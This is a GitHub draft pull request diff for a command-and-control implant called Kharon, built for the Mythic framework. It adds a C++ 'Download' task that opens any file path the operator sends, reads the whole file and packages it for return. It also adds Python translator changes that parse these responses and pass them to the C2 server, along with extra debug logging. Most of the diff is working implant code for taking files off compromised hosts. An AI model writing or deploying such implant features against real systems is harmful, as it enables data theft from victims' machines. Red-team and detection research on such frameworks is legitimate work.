Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
116 changes: 115 additions & 1 deletion Payload_Type/kharon/Agent/Source/Misc/Tasks.cc
Original file line number Diff line number Diff line change
Expand Up @@ -142,7 +142,121 @@ auto DECLFN Task::ExecBof(
auto DECLFN Task::Download(
_In_ JOBS* Job
) -> ERROR_CODE {

PARSER* Parser = Job->Psr;
PACKAGE* Package = Job->Pkg;

KhDbg("Download task started");

// Get file path from parameters
PCHAR FilePath = Self->Psr->Str(Parser, 0);
if (!FilePath) {
CHAR* ErrorMsg = "No file path provided";
KhDbg("%s", ErrorMsg);
Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
return KhRetSuccess;
}

KhDbg("Download file: %s", FilePath);

// Open file for reading
HANDLE FileHandle = Self->Krnl32.CreateFileA(
FilePath,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);

if (FileHandle == INVALID_HANDLE_VALUE) {
CHAR* ErrorMsg = "Failed to open file for download";
KhDbg("%s: %s (Error: %d)", ErrorMsg, FilePath, KhGetError);
Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
return KhRetSuccess;
}

// Get file size
ULONG FileSize = Self->Krnl32.GetFileSize(FileHandle, 0);
if (FileSize == INVALID_FILE_SIZE) {
CHAR* ErrorMsg = "Failed to get file size";
KhDbg("%s: %s", ErrorMsg, FilePath);
Self->Ntdll.NtClose(FileHandle);
Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
return KhRetSuccess;
}

KhDbg("File size: %d bytes", FileSize);

// Extract filename from path for file ID
PCHAR FileName = FilePath;
PCHAR LastSlash = nullptr;
for (PCHAR p = FilePath; *p; p++) {
if (*p == '\\' || *p == '/') {
LastSlash = p + 1;
}
}
if (LastSlash) FileName = LastSlash;

// Allocate buffer for entire file
BYTE* FileBuffer = (BYTE*)hAlloc(FileSize);
if (!FileBuffer && FileSize > 0) {
CHAR* ErrorMsg = "Failed to allocate file buffer";
KhDbg("%s", ErrorMsg);
Self->Ntdll.NtClose(FileHandle);
Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
return KhRetSuccess;
}

// Read entire file
ULONG BytesRead = 0;
BOOL ReadResult = TRUE;
if (FileSize > 0) {
ReadResult = Self->Krnl32.ReadFile(
FileHandle,
FileBuffer,
FileSize,
&BytesRead,
0
);
}

Self->Ntdll.NtClose(FileHandle);

if (!ReadResult || BytesRead != FileSize) {
CHAR* ErrorMsg = "Failed to read file";
KhDbg("%s: %s", ErrorMsg, FilePath);
if (FileBuffer) hFree(FileBuffer);
Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR);
return KhRetSuccess;
}

// Create simple file ID using just the filename
CHAR FileID[64];
PCHAR FileIdPtr = FileID;
PCHAR src = FileName;
INT nameLen = 0;
while (*src && nameLen < 50) {
*FileIdPtr++ = *src++;
nameLen++;
}
*FileIdPtr = '\0';

// Send response in expected format:
// current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes)
Self->Pkg->Int32(Package, 1); // chunk number (always 1 for complete file)
Self->Pkg->Str(Package, FileID); // file identifier
Self->Pkg->Str(Package, FilePath); // full file path
Self->Pkg->Int32(Package, FileSize); // complete file size

// Send file data
if (FileSize > 0) {
Self->Pkg->Bytes(Package, FileBuffer, FileSize);
hFree(FileBuffer);
}

KhDbg("Download completed successfully: %d bytes", FileSize);
return KhRetSuccess;
}

auto DECLFN Task::Upload(_In_ JOBS* Job) -> ERROR_CODE {
Expand Down
2 changes: 2 additions & 0 deletions Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py
Original file line number Diff line number Diff line change
Expand Up @@ -93,4 +93,6 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat

async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse( TaskID = task.Task.ID, Success = True )
# The download data is handled by the translator ToC2.py, which returns a "download" object
# The Mythic framework automatically processes this and creates the downloaded file
return resp
33 changes: 30 additions & 3 deletions Payload_Type/kharon/Mythic/Translator/ToC2.py
Original file line number Diff line number Diff line change
Expand Up @@ -273,22 +273,37 @@ def QuickMsg( Data ):

def PostC2(Data):
Dbg2("------------------------")
Dbg2(f"PostC2 called with {len(Data)} bytes of data")
Dbg2("=== CRITICAL DEBUG: Enhanced PostC2 function is being used ===")
RespTsk = []
RespSck = []

Dbg3(f"buffer: {Data} [{len(Data)}]")

try:
import logging
logging.info("POST => DIRECT LOGGING: About to create Parser")
Dbg2(f"About to create Parser with data length: {len(Data)}")
Dbg2(f"First 50 bytes of data: {Data[:50]}")
Psr = Parser(Data, len(Data))
logging.info("POST => DIRECT LOGGING: Parser created successfully")
Dbg2(f"Created parser with {len(Data)} bytes")

logging.info("POST => DIRECT LOGGING: About to read task quantity")
Dbg2("About to read task quantity (Int32)")
Tasks = Psr.Int32()
logging.info(f"POST => DIRECT LOGGING: Task quantity read: {Tasks}")
Dbg2(f"Task quantity: {Tasks}")

Index = 0
for Task in range(Tasks):
Index += 1
Dbg2(f"Processing task {Index}/{Tasks}")
try:
Profile = Psr.Int32()
Dbg2(f"Profile: {Profile}")
TaskLength = Psr.Int32()
Dbg2(f"Task length: {TaskLength}")
if TaskLength <= 0:
Dbg2(f"Invalid task length: {TaskLength}")
continue
Expand All @@ -301,17 +316,22 @@ def PostC2(Data):
continue

TaskPsr = Parser(TaskData, TaskLength)
Dbg2(f"Created task parser with {TaskLength} bytes")

try:
TaskUUID = TaskPsr.Bytes().replace(b'\x00', b'')
TaskUUID = TaskUUID.decode('utf-8') if TaskUUID else "unknown"
Dbg2(f"Parsed TaskUUID: {TaskUUID}")
except UnicodeDecodeError:
TaskUUID = TaskUUID.hex() if TaskUUID else "unknown"
Dbg2(f"TaskUUID decode failed, using hex: {TaskUUID}")
except Exception as e:
TaskUUID = "unknown"
Dbg2(f"TaskUUID parsing failed: {str(e)}")

try:
CommandID = TaskPsr.Pad(2)
CommandID = int.from_bytes(CommandID, byteorder="big") if len(CommandID) == 2 else 0

Dbg2(f"Process command id: {CommandID}")
except Exception as e:
CommandID = 0
Expand Down Expand Up @@ -359,6 +379,9 @@ def PostC2(Data):

except Exception as e:
Dbg2(f"Fatal error in PostC2: {str(e)}")
Dbg2(f"Exception type: {type(e).__name__}")
import traceback
Dbg2(f"Traceback: {traceback.format_exc()}")
return {"action": "post_response", "responses": [], "error": str(e)}

JsonData = {
Expand Down Expand Up @@ -397,12 +420,15 @@ def process_delegates(TaskUUID, Message, Psr:Parser):
def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser):
if CommandID == T_DOWNLOAD:
# Parse download response from agent
Dbg2(f"Processing download response for task {TaskUUID}")
try:
current_chunk = TaskPsr.Int32()
file_id = TaskPsr.Str()
file_path = TaskPsr.Str()
chunk_size = TaskPsr.Int32()
file_data = TaskPsr.All() # Get remaining bytes as file content
file_data = TaskPsr.Bytes() # Use Bytes() instead of All() to handle length prefix

Dbg2(f"Download parsed: chunk={current_chunk}, file_id={file_id}, path={file_path}, size={chunk_size}, data_len={len(file_data) if file_data else 0}")

return {
"task_id": TaskUUID,
Expand All @@ -412,7 +438,8 @@ def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser):
"chunk_num": current_chunk,
"full_path": file_path,
"data": file_data.hex() if file_data else ""
}
},
"completed": True
}
except Exception as e:
Dbg2(f"Error parsing download response: {str(e)}")
Expand Down
2 changes: 2 additions & 0 deletions Payload_Type/kharon/Mythic/Translator/Translator.py
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,7 @@ async def translate_from_c2_format( self, InputMsg: TrCustomMessageToMythicC2For

# Dbg7( f"raw dec: {TextPlain}" )
Dbg7( f"Action: {Action}" );
Dbg7( f"Expected post_response code: {Jobs['post_response']['hex_code']}" );
Dbg7( f"Encrypt Key: {EncryptKey} [{len(EncryptKey)}]" );

if Action == Jobs['checkin']['hex_code']:
Expand All @@ -104,6 +105,7 @@ async def translate_from_c2_format( self, InputMsg: TrCustomMessageToMythicC2For
Response.Message = GetTaskingC2( ActionData );

elif Action == Jobs['post_response']['hex_code']:
Dbg7(f"Calling PostC2 with {len(ActionData)} bytes")
Response.Message = PostC2( ActionData );

Dbg7( f"buffer length {len(Response.Message)}" );
Expand Down